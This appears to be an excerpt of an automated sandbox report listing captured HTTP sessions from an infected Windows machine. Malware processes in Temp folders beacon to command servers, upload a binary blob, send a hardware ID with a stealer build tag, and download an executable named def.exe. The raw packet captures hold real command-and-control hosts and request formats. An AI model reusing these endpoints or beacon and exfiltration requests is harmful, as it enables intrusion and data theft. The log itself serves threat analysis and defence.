Nov 21, 2024 14:11:55.305022001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 70678 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 14:11:57.723175049 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 14:11:58.057240009 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 70680 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 14:12:08.166066885 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 14:12:18.460050106 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 21, 2024 14:12:28.641112089 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50027	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:56.394047976 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 39 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007939001&unit=246122658369
Nov 21, 2024 14:11:57.780066967 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:11:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50047	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:11:59.596731901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 14:12:00.985502958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50062	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:02.687275887 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:12:04.053914070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50063	34.116.198.130	80	1464	C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:03.418092012 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 30413 Content-Type: multipart/form-data; boundary=------------------------lZAQ4pHFQclJ7N7CtcKhMx Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 5a 41 51 34 70 48 46 51 63 6c 4a 37 4e 37 43 74 63 4b 68 4d 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 71 65 6c 65 77 69 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d9 33 51 89 0b a5 0a ce 46 12 e1 ac ac bf 84 10 fd fe 32 66 b5 38 ea b1 a7 bd a3 e6 b6 58 ef 96 de a9 b5 1e 8f 23 d3 1f d5 83 9e 4e 73 c8 62 91 de d2 fb 38 8b cb e6 fb c7 3c 31 25 23 36 cf 8c ce 93 d9 8d 4d 7b 80 ea a0 eb ac 4a 99 a6 bc eb 96 f3 71 44 58 29 6a 6c c9 7f ca 3f 4d 94 b4 c9 03 5a cf fb b9 53 cb 78 94 d2 2f 0c e4 a7 d0 14 be 0f 9a dc cf c4 e6 08 cf 54 67 df 61 ce 2d 3c f1 90 c0 f5 78 6d 6e 48 12 f5 b4 00 5e 3d ae 1b 1e 13 db f9 61 29 97 7b be 5a f4 8b 55 6f 9b 83 c4 a3 ab bc c5 ba a6 4e 31 0a 3e 85 38 c5 a5 [TRUNCATED] Data Ascii: --------------------------lZAQ4pHFQclJ7N7CtcKhMxContent-Disposition: form-data; name="file"; filename="Keqelewig.bin"Content-Type: application/octet-stream3QF2f8X#Nsb8<1%#6M{JqDX)jl?MZSx/Tga-<xmnH^=a){ZUoN1>8NL>w/fgg"(se(iX/lw<(g&Ok!yQsB?H{])jKnN+`XHm5=bTe!^j%eu:L,d!W[j2y#c9<6~qPnhR,G&]m[RMn}S<sDRuk,Eym,4^jaFFB!&U\|K4z#8U\XdU9.2'lN(pklaKP$YEig%$g)U1(:BwQGOS}U=10WX2<;\|9Y/9f:}0l3'X2yDXNGG0g}bD%Ui Ryo0"YM[~CG[g~J$;`t)]l`r0puCw`TIdff?ViCr0hwrxKpyZdt#T`S;x7)2_)A;^* [TRUNCATED]
Nov 21, 2024 14:12:03.537951946 CET	2472	OUT	Data Raw: 4f 3d ee 3b a1 2e b1 32 fa 15 81 75 f0 e5 df 60 29 af 1e 51 47 fe 73 5b 0a fd fa 89 0a a6 8b a7 95 84 56 f2 28 a7 df 0a eb 55 cb e7 50 df a4 ca ab 13 bb 1b de 1d d6 da af 68 bc 3e e7 ba a8 00 a1 0b 90 d8 28 61 87 fe 45 5f e3 99 fb 70 fc 27 13 52 Data Ascii: O=;.2u`)QGs[V(UPh>(aE_p'Rk5\ "Qu@vMVgd\Sk(R}@Fhr1n2</K'a I<CXEidma?@TB.PLpy
Nov 21, 2024 14:12:03.538033962 CET	2472	OUT	Data Raw: eb 17 e1 57 ea a8 6d 73 18 67 c0 dd 17 62 82 df 99 dd c1 1e 91 23 14 23 c3 8c 4b 85 a3 b7 f7 e7 a1 a2 c1 16 57 85 53 21 77 00 dc 61 6a 61 e6 ee e0 75 09 c5 86 60 d7 fa d8 a5 17 26 46 23 2a ef bd fc 18 47 be 13 99 e0 ba 7a 70 f6 7f f7 8c 02 d5 55 Data Ascii: Wmsgb##KWS!wajau`&F#GzpU@Nk%8Qf{qH&s?3X~dk$*c#^V1Wc3+<yfv7`9L-jd:O$a5~'iEWCPT4
Nov 21, 2024 14:12:03.538150072 CET	4944	OUT	Data Raw: 21 d7 e1 b0 ae 12 a6 d9 00 41 b9 f6 c9 35 0e 41 31 59 67 3e 48 06 f2 23 e6 85 73 ed 63 6c 78 27 01 f1 2c 6d 88 b1 cc e5 c8 4c 0f bd 47 c4 8e 01 0e 4b 06 46 18 61 bf 35 ea 42 13 59 28 bb d8 1d fd b3 63 ad da ff 5d 94 07 ca 5c b2 7c 36 b1 a5 1d 52 Data Ascii: !A5A1Yg>H#sclx',mLGKFa5BY(c]\\|6R;*Y[K<@^z6BW{>H=bnCK=Y0<Nvep[J4Uae`g#.sXv"/VE'h5LwPxMJ'4oN&ms6w8
Nov 21, 2024 14:12:03.538223982 CET	2472	OUT	Data Raw: c7 6f b6 3f d6 7e 5f 49 0b b6 7e fd 18 e4 09 a9 53 c3 2e db e1 06 36 1b 6c 5a f9 e9 ed 0a ac 49 c3 1b 3e 56 fd 02 56 d1 7a e3 10 44 f7 41 6c a1 20 23 ae e3 c8 cb 77 08 69 3e 2d 26 4f ae cb 3d ac b4 92 00 3d 9c d8 98 18 a3 12 d1 c3 c2 41 a9 51 ff Data Ascii: o?~_I~S.6lZI>VVzDAl #wi>-&O==AQ#)%I;M1uQX!e\3007Np9UeUhK_wXH[tyWOvU@9?.`mjAWePWFb}H5v\8C;S*)v\
Nov 21, 2024 14:12:03.538450003 CET	4944	OUT	Data Raw: fa 86 e9 7d 02 07 b5 f1 ae 5f 75 a9 b7 f9 2e e2 99 a3 6e c7 16 50 d8 f8 36 6e 03 0b e6 56 6d 39 86 9e 3f 0f e9 f6 3a cd 8f 3a 3a 81 3a f4 fb e0 ac 50 e1 07 0f de e0 2c 82 23 d7 7c df 34 a1 65 06 b3 05 4a 0f c0 4f 9d b8 bc 84 e5 ed 55 37 61 50 65 Data Ascii: }_u.nP6nVm9?::::P,#\|4eJOU7aPeX9~k}1!B"W $6n)~lf\}N\\|eT'Rn"CPukhC`#f%P}x939&Gc</^iH.rHRYLZu
Nov 21, 2024 14:12:03.538450003 CET	930	OUT	Data Raw: 03 a3 65 c9 28 55 ac bf ea 13 4d 0c c7 9c 7a 48 b9 2a ed ce f3 00 bc 2d 10 d7 84 43 c5 09 6a 44 ec 81 be 1a 92 88 51 4a e1 85 bc 84 0a a5 4b fe 82 ce 5d d7 4f 97 b5 36 23 00 09 38 53 c4 6e c4 e3 31 be da 26 16 4b 4a cd ad 7c 67 df 44 bb 3f 62 71 Data Ascii: e(UMzH*-CjDQJK]O6#8Sn1&KJ\|gD?bq4#+1aS!\dhv:Wxse)b[f]RSE>-qjtE[o`@Ub%uYg?FM+Y45>k5ENv&;Veq$~\|U0
Nov 21, 2024 14:12:05.079607964 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 13:12:04 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50076	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:07.495891094 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:12:08.827034950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	50081	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:10.677305937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 14:12:12.054079056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	50083	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:13.773744106 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:12:15.171399117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50084	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:14.704694986 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 14:12:16.046355009 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 14:12:16.049417019 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJ Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 46 43 35 42 38 43 39 44 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="hwid"0BFC5B8C9DB3476522507------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="build"mars------BAECFCAAECBGDGDHIEHJ--
Nov 21, 2024 14:12:16.497343063 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	50085	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:15.181797981 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 21, 2024 14:12:16.605245113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:16 GMT Content-Type: application/octet-stream Content-Length: 2819072 Last-Modified: Thu, 21 Nov 2024 12:59:18 GMT Connection: keep-alive ETag: "673f2ea6-2b0400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +$G+`Ui` @ @.rsrc`2@.idata 8@ssbqmpcp*:@iyzbxbnx `+@.taggant@+"*@
Nov 21, 2024 14:12:16.605309010 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605340004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605391979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605427027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605477095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605509996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605545998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 14:12:16.605578899 CET	1236	IN	Data Raw: 92 42 b1 66 41 2e b6 54 d1 23 0c 7a df ba ea 13 1c 7b b9 e0 6d c4 84 88 09 6f 46 79 8c fd 69 ca 4c 67 61 85 0b 06 a4 c5 db ee 69 ba ca 5b b1 87 13 c3 b6 39 02 19 9c c6 7e 78 c3 32 fe 51 f6 cc e2 ff 8a 8e 82 32 a3 fe 40 c1 0b 76 84 9c b6 fd 63 41 Data Ascii: BfA.T#z{moFyiLgai[9~x2Q2@vcAd@.!.sN6&MKD[VMI=1bdQ}k=i+o<2dOd"Uy]J=S;e4+Qu$SP=yLK0J=e
Nov 21, 2024 14:12:16.605618000 CET	1236	IN	Data Raw: 6b b4 a4 27 74 39 bb 90 43 02 a9 b0 5b 01 af 90 ce a4 bb 74 4b a5 b4 a4 60 a0 35 17 6e 41 77 86 8b 33 aa 2f 8b 28 ec 3e 45 09 b7 17 04 80 43 51 7b c0 62 17 c6 55 64 75 47 5f b8 8a ef b0 a8 0c 0d a6 a6 7d 39 c2 52 7e 09 a1 86 ef 4e 74 ae 33 41 af Data Ascii: k't9C[tK`5nAw3/(>ECQ{bUduG_}9R~Nt3A&@{hK*Y}akk>fL7JmfF[fq`BTd10HYfyp&BWa\|rqcT[IBLm?&_tm>qiE6$ZTdQNxAO]eK
Nov 21, 2024 14:12:16.731528044 CET	1236	IN	Data Raw: 2f 79 ac 65 5a 68 e8 31 d9 db 03 7e 5e 8c 82 22 a4 eb 20 88 8f ef aa 90 ee e1 f7 81 52 ea 96 b8 29 9e be 86 95 17 27 05 28 19 b9 44 51 77 7b 90 6a d3 dc 15 ac 02 ce 27 29 d9 89 cf d0 f7 1d 3c 2c 30 5c ca 8b f9 ac 04 eb 96 d7 c2 9b 8b 1a 6c ed ea Data Ascii: /yeZh1~^" R)'(DQw{j')<,0\lRj%5Jrk3+,PdNO@%Un3O*EfUc40F^k1c\eeDyQEC,et?NmdDg}y6x[C!DR<%3

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50086	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:16.917793036 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 14:12:18.258392096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50088	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:19.959618092 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:12:21.352124929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50089	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:23.108253002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
